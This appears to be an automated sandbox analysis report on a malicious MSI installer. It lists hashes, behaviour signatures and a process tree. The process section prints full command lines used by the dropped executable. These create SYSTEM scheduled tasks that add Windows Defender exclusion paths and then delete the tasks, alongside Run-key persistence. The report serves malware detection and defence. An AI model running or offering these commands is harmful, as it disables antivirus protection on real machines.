Analysis
- max time kernel
150s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
02/08/2026, 16:07
Static task
static1
Behavioral task
behavioral1
Sample
install_ehe007.msi
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
install_ehe007.msi
Resource
win11ltsc2024-20260709-en
General
- Target install_ehe007.msi
- Size 8.6MB
- Sample260802-tkrrvswele
- SHA256 b42b1befacffe8b4f8cd79426a83109f90fdd2c846b361337183adbed5f66001
- MD5 418c684123a872969dce6fc8732d7388
- SHA1 c362f44d832cac0f303f0b3931d913c42932fb36
- SHA512 ce7334c6ac7dac0b1d9466a266763eeb15291fc5d1b587b77b1c6f33c6529cbf2fac58cf1752d288cbdb7c021158f1372355e8daf951462c4b5115ef4dc9bf38
- SSDEEP 196608:W6WTYIpbo0g4lvOuUdZpEXmPNkCM4X+I4Hmq+r0ARtMhnYJE/JDW:fwp/g4lvOuUdZpEXmPmCMTGVbMhnYk5W
- TLSH T1829633C67CC52374D097C7B09823A62D39253FD4BF664C8ABFA87601AC717262977386
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\DjHbSD = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation Lh5Uk7.exe - Executes dropped EXE 1 IoCs
pid Process 2912 Lh5Uk7.exe - Loads dropped DLL 2 IoCs
pid Process 1228 MsiExec.exe 2912 Lh5Uk7.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\DjHbSD\\Lh5Uk7.exe\"" Lh5Uk7.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 25 1228 MsiExec.exe 27 1228 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Q: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4292 cmd.exe 3236 cmd.exe 1188 cmd.exe 3956 cmd.exe 2532 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b Lh5Uk7.exe - Drops file in Program Files directory 2 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\6WE5cr Lh5Uk7.exe File created C:\Program Files (x86)\6WE5cr\6WE5cr.exe Lh5Uk7.exe - Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\Installer\e58fa88.msi msiexec.exe File opened for modification C:\Windows\Installer\e58fa88.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIFB72.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIFBF0.tmp msiexec.exe File created C:\Windows\Installer\e58fa8a.msi msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{AB5B91D2-8262-88C3-C0B3-9F7A3D9BBE66} msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 5000 msiexec.exe - Executes a command shell one-liner 1 TTPs 5 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1048 cmd.exe 4056 cmd.exe 4356 cmd.exe 4940 cmd.exe 4556 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ee0681d78f5363a20000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000ee0681d70000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900ee0681d7000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1aee0681d7000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dee0681d7000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe - Modifies registry class 22 IoCs
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\ProductName = "TRUNC Licensing Dll" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\PackageCode = "9FB33577A15FE1644816751E2FA69BD6" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104\2D19B5BA26283C880C3BF9A7D3B9EB66 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\PackageName = "install_ehe007.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\2D19B5BA26283C880C3BF9A7D3B9EB66\UuueatYAD msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\Version = "84017285" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\94BE0DF692EECDFE6C8D0D14335F1104 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\2D19B5BA26283C880C3BF9A7D3B9EB66\SourceList\Media msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1916 schtasks.exe 4820 schtasks.exe 1288 schtasks.exe 2116 schtasks.exe 3012 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2892 msiexec.exe 2892 msiexec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 1228 MsiExec.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe 2912 Lh5Uk7.exe - Suspicious behavior: LoadsDriver 3 IoCs
pid Process 664 Process not Found 664 Process not Found 664 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 5000 msiexec.exe Token: SeIncreaseQuotaPrivilege 5000 msiexec.exe Token: SeSecurityPrivilege 2892 msiexec.exe Token: SeCreateTokenPrivilege 5000 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5000 msiexec.exe Token: SeLockMemoryPrivilege 5000 msiexec.exe Token: SeIncreaseQuotaPrivilege 5000 msiexec.exe Token: SeMachineAccountPrivilege 5000 msiexec.exe Token: SeTcbPrivilege 5000 msiexec.exe Token: SeSecurityPrivilege 5000 msiexec.exe Token: SeTakeOwnershipPrivilege 5000 msiexec.exe Token: SeLoadDriverPrivilege 5000 msiexec.exe Token: SeSystemProfilePrivilege 5000 msiexec.exe Token: SeSystemtimePrivilege 5000 msiexec.exe Token: SeProfSingleProcessPrivilege 5000 msiexec.exe Token: SeIncBasePriorityPrivilege 5000 msiexec.exe Token: SeCreatePagefilePrivilege 5000 msiexec.exe Token: SeCreatePermanentPrivilege 5000 msiexec.exe Token: SeBackupPrivilege 5000 msiexec.exe Token: SeRestorePrivilege 5000 msiexec.exe Token: SeShutdownPrivilege 5000 msiexec.exe Token: SeDebugPrivilege 5000 msiexec.exe Token: SeAuditPrivilege 5000 msiexec.exe Token: SeSystemEnvironmentPrivilege 5000 msiexec.exe Token: SeChangeNotifyPrivilege 5000 msiexec.exe Token: SeRemoteShutdownPrivilege 5000 msiexec.exe Token: SeUndockPrivilege 5000 msiexec.exe Token: SeSyncAgentPrivilege 5000 msiexec.exe Token: SeEnableDelegationPrivilege 5000 msiexec.exe Token: SeManageVolumePrivilege 5000 msiexec.exe Token: SeImpersonatePrivilege 5000 msiexec.exe Token: SeCreateGlobalPrivilege 5000 msiexec.exe Token: SeBackupPrivilege 584 vssvc.exe Token: SeRestorePrivilege 584 vssvc.exe Token: SeAuditPrivilege 584 vssvc.exe Token: SeBackupPrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeTakeOwnershipPrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeTakeOwnershipPrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeTakeOwnershipPrivilege 2892 msiexec.exe Token: SeBackupPrivilege 828 srtasks.exe Token: SeRestorePrivilege 828 srtasks.exe Token: SeSecurityPrivilege 828 srtasks.exe Token: SeTakeOwnershipPrivilege 828 srtasks.exe Token: SeBackupPrivilege 828 srtasks.exe Token: SeRestorePrivilege 828 srtasks.exe Token: SeSecurityPrivilege 828 srtasks.exe Token: SeTakeOwnershipPrivilege 828 srtasks.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeTakeOwnershipPrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeTakeOwnershipPrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeTakeOwnershipPrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeTakeOwnershipPrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeTakeOwnershipPrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe Token: SeTakeOwnershipPrivilege 2892 msiexec.exe Token: SeRestorePrivilege 2892 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 5000 msiexec.exe 5000 msiexec.exe - Suspicious use of WriteProcessMemory 27 IoCs
description pid Process procid_target PID 2892 wrote to memory of 828 2892 msiexec.exe 92 PID 2892 wrote to memory of 1228 2892 msiexec.exe 94 PID 2912 wrote to memory of 3236 2912 Lh5Uk7.exe 109 PID 3236 wrote to memory of 1916 3236 cmd.exe 112 PID 3236 wrote to memory of 2692 3236 cmd.exe 113 PID 2912 wrote to memory of 1188 2912 Lh5Uk7.exe 116 PID 3236 wrote to memory of 1084 3236 cmd.exe 118 PID 1188 wrote to memory of 4820 1188 cmd.exe 119 PID 1188 wrote to memory of 1036 1188 cmd.exe 121 PID 1188 wrote to memory of 4280 1188 cmd.exe 125 PID 4056 wrote to memory of 540 4056 cmd.exe 126 PID 1048 wrote to memory of 1716 1048 cmd.exe 127 PID 2912 wrote to memory of 3956 2912 Lh5Uk7.exe 128 PID 3956 wrote to memory of 1288 3956 cmd.exe 130 PID 3956 wrote to memory of 2036 3956 cmd.exe 131 PID 3956 wrote to memory of 176 3956 cmd.exe 134 PID 4356 wrote to memory of 3064 4356 cmd.exe 135 PID 2912 wrote to memory of 2532 2912 Lh5Uk7.exe 136 PID 2532 wrote to memory of 2116 2532 cmd.exe 138 PID 2532 wrote to memory of 4912 2532 cmd.exe 139 PID 4940 wrote to memory of 1952 4940 cmd.exe 142 PID 2532 wrote to memory of 1632 2532 cmd.exe 143 PID 2912 wrote to memory of 4292 2912 Lh5Uk7.exe 144 PID 4292 wrote to memory of 3012 4292 cmd.exe 146 PID 4292 wrote to memory of 2412 4292 cmd.exe 147 PID 4292 wrote to memory of 4652 4292 cmd.exe 150 PID 4556 wrote to memory of 4620 4556 cmd.exe 151 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_ehe007.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5000
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:828
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 5E8C7048D72D9398650465934C46ABF0 E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1228
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:584
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C:\Users\Public\DjHbSD\Lh5Uk7.exeC:\Users\Public\DjHbSD\Lh5Uk7.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\DjHbSD\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3236 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\DjHbSD\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1916
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2692
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1084
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4820
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1036
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4280
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3956 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1288
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2036
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:176
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2116
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4912
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:1632
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4292 -
